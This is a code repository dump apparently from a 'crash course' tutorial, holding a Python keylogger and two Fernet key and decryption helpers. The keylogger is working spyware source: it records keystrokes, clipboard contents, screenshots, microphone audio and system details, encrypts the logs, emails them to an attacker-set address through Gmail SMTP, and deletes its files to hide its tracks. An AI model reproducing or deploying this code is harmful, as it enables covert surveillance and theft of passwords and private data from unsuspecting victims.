├── Cryptography ├── DecryptFile.py └── GenerateKey.py └── keylogger.py /Cryptography/DecryptFile.py: -------------------------------------------------------------------------------- 1 | from cryptography.fernet import Fernet 2 | 3 | key = " " 4 | 5 | system_information_e = 'e_system.txt' 6 | clipboard_information_e = 'e_clipboard.txt' 7 | keys_information_e = 'e_keys_logged.txt' 8 | 9 | 10 | 11 | encrypted_files = [system_information_e, clipboard_information_e, keys_information_e] 12 | count = 0 13 | 14 | 15 | for decrypting_files in encrypted_files: 16 | 17 | with open(encrypted_files[count], 'rb') as f: 18 | data = f.read() 19 | 20 | fernet = Fernet(key) 21 | decrypted = fernet.decrypt(data) 22 | 23 | with open("decryption.txt", 'ab') as f: 24 | f.write(decrypted) 25 | 26 | count += 1 27 | -------------------------------------------------------------------------------- /Cryptography/GenerateKey.py: -------------------------------------------------------------------------------- 1 | from cryptography.fernet import Fernet 2 | 3 | 4 | key = Fernet.generate_key() 5 | file = open("encryption_key.txt", 'wb') 6 | file.write(key) 7 | file.close() 8 | -------------------------------------------------------------------------------- /keylogger.py: -------------------------------------------------------------------------------- 1 | # keylogger.py 2 | # Create an Advanced Keylogger in Python - Crash Course notes 3 | # Author: Grant Collins 4 | 5 | # Libraries 6 | 7 | from email.mime.multipart import MIMEMultipart 8 | from email.mime.text import MIMEText 9 | from email.mime.base import MIMEBase 10 | from email import encoders 11 | import smtplib 12 | 13 | import socket 14 | import platform 15 | 16 | import win32clipboard 17 | 18 | from pynput.keyboard import Key, Listener 19 | 20 | import time 21 | import os 22 | 23 | from scipy.io.wavfile import write 24 | import sounddevice as sd 25 | 26 | from cryptography.fernet import Fernet 27 | 28 | import getpass 29 | from requests import get 30 | 31 | from multiprocessing import Process, freeze_support 32 | from PIL import ImageGrab 33 | 34 | keys_information = "key_log.txt" 35 | system_information = "syseminfo.txt" 36 | clipboard_information = "clipboard.txt" 37 | audio_information = "audio.wav" 38 | screenshot_information = "screenshot.png" 39 | 40 | keys_information_e = "e_key_log.txt" 41 | system_information_e = "e_systeminfo.txt" 42 | clipboard_information_e = "e_clipboard.txt" 43 | 44 | microphone_time = 10 45 | time_iteration = 15 46 | number_of_iterations_end = 3 47 | 48 | email_address = " " # Enter disposable email here 49 | password = " " # Enter email password here 50 | 51 | username = getpass.getuser() 52 | 53 | toaddr = " " # Enter the email address you want to send your information to 54 | 55 | key = " " # Generate an encryption key from the Cryptography folder 56 | 57 | file_path = " " # Enter the file path you want your files to be saved to 58 | extend = "\\" 59 | file_merge = file_path + extend 60 | 61 | # email controls 62 | def send_email(filename, attachment, toaddr): 63 | 64 | fromaddr = email_address 65 | 66 | msg = MIMEMultipart() 67 | 68 | msg['From'] = fromaddr 69 | 70 | msg['To'] = toaddr 71 | 72 | msg['Subject'] = "Log File" 73 | 74 | body = "Body_of_the_mail" 75 | 76 | msg.attach(MIMEText(body, 'plain')) 77 | 78 | filename = filename 79 | attachment = open(attachment, 'rb') 80 | 81 | p = MIMEBase('application', 'octet-stream') 82 | 83 | p.set_payload((attachment).read()) 84 | 85 | encoders.encode_base64(p) 86 | 87 | p.add_header('Content-Disposition', "attachment; filename= %s" % filename) 88 | 89 | msg.attach(p) 90 | 91 | s = smtplib.SMTP('smtp.gmail.com', 587) 92 | 93 | s.starttls() 94 | 95 | s.login(fromaddr, password) 96 | 97 | text = msg.as_string() 98 | 99 | s.sendmail(fromaddr, toaddr, text) 100 | 101 | s.quit() 102 | 103 | send_email(keys_information, file_path + extend + keys_information, toaddr) 104 | 105 | # get the computer information 106 | def computer_information(): 107 | with open(file_path + extend + system_information, "a") as f: 108 | hostname = socket.gethostname() 109 | IPAddr = socket.gethostbyname(hostname) 110 | try: 111 | public_ip = get("https://api.ipify.org").text 112 | f.write("Public IP Address: " + public_ip) 113 | 114 | except Exception: 115 | f.write("Couldn't get Public IP Address (most likely max query") 116 | 117 | f.write("Processor: " + (platform.processor()) + '\n') 118 | f.write("System: " + platform.system() + " " + platform.version() + '\n') 119 | f.write("Machine: " + platform.machine() + "\n") 120 | f.write("Hostname: " + hostname + "\n") 121 | f.write("Private IP Address: " + IPAddr + "\n") 122 | 123 | computer_information() 124 | 125 | # get the clipboard contents 126 | def copy_clipboard(): 127 | with open(file_path + extend + clipboard_information, "a") as f: 128 | try: 129 | win32clipboard.OpenClipboard() 130 | pasted_data = win32clipboard.GetClipboardData() 131 | win32clipboard.CloseClipboard() 132 | 133 | f.write("Clipboard Data: \n" + pasted_data) 134 | 135 | except: 136 | f.write("Clipboard could be not be copied") 137 | 138 | copy_clipboard() 139 | 140 | # get the microphone 141 | def microphone(): 142 | fs = 44100 143 | seconds = microphone_time 144 | 145 | myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2) 146 | sd.wait() 147 | 148 | write(file_path + extend + audio_information, fs, myrecording) 149 | 150 | # get screenshots 151 | def screenshot(): 152 | im = ImageGrab.grab() 153 | im.save(file_path + extend + screenshot_information) 154 | 155 | screenshot() 156 | 157 | 158 | number_of_iterations = 0 159 | currentTime = time.time() 160 | stoppingTime = time.time() + time_iteration 161 | 162 | # Timer for keylogger 163 | while number_of_iterations < number_of_iterations_end: 164 | 165 | count = 0 166 | keys =[] 167 | 168 | def on_press(key): 169 | global keys, count, currentTime 170 | 171 | print(key) 172 | keys.append(key) 173 | count += 1 174 | currentTime = time.time() 175 | 176 | if count >= 1: 177 | count = 0 178 | write_file(keys) 179 | keys =[] 180 | 181 | def write_file(keys): 182 | with open(file_path + extend + keys_information, "a") as f: 183 | for key in keys: 184 | k = str(key).replace("'", "") 185 | if k.find("space") > 0: 186 | f.write('\n') 187 | f.close() 188 | elif k.find("Key") == -1: 189 | f.write(k) 190 | f.close() 191 | 192 | def on_release(key): 193 | if key == Key.esc: 194 | return False 195 | if currentTime > stoppingTime: 196 | return False 197 | 198 | with Listener(on_press=on_press, on_release=on_release) as listener: 199 | listener.join() 200 | 201 | if currentTime > stoppingTime: 202 | 203 | with open(file_path + extend + keys_information, "w") as f: 204 | f.write(" ") 205 | 206 | screenshot() 207 | send_email(screenshot_information, file_path + extend + screenshot_information, toaddr) 208 | 209 | copy_clipboard() 210 | 211 | number_of_iterations += 1 212 | 213 | currentTime = time.time() 214 | stoppingTime = time.time() + time_iteration 215 | 216 | # Encrypt files 217 | files_to_encrypt = [file_merge + system_information, file_merge + clipboard_information, file_merge + keys_information] 218 | encrypted_file_names = [file_merge + system_information_e, file_merge + clipboard_information_e, file_merge + keys_information_e] 219 | 220 | count = 0 221 | 222 | for encrypting_file in files_to_encrypt: 223 | 224 | with open(files_to_encrypt[count], 'rb') as f: 225 | data = f.read() 226 | 227 | fernet = Fernet(key) 228 | encrypted = fernet.encrypt(data) 229 | 230 | with open(encrypted_file_names[count], 'wb') as f: 231 | f.write(encrypted) 232 | 233 | send_email(encrypted_file_names[count], encrypted_file_names[count], toaddr) 234 | count += 1 235 | 236 | time.sleep(120) 237 | 238 | # Clean up our tracks and delete files 239 | delete_files = [system_information, clipboard_information, keys_information, screenshot_information, audio_information] 240 | for file in delete_files: 241 | os.remove(file_merge + file) 242 | 243 | --------------------------------------------------------------------------------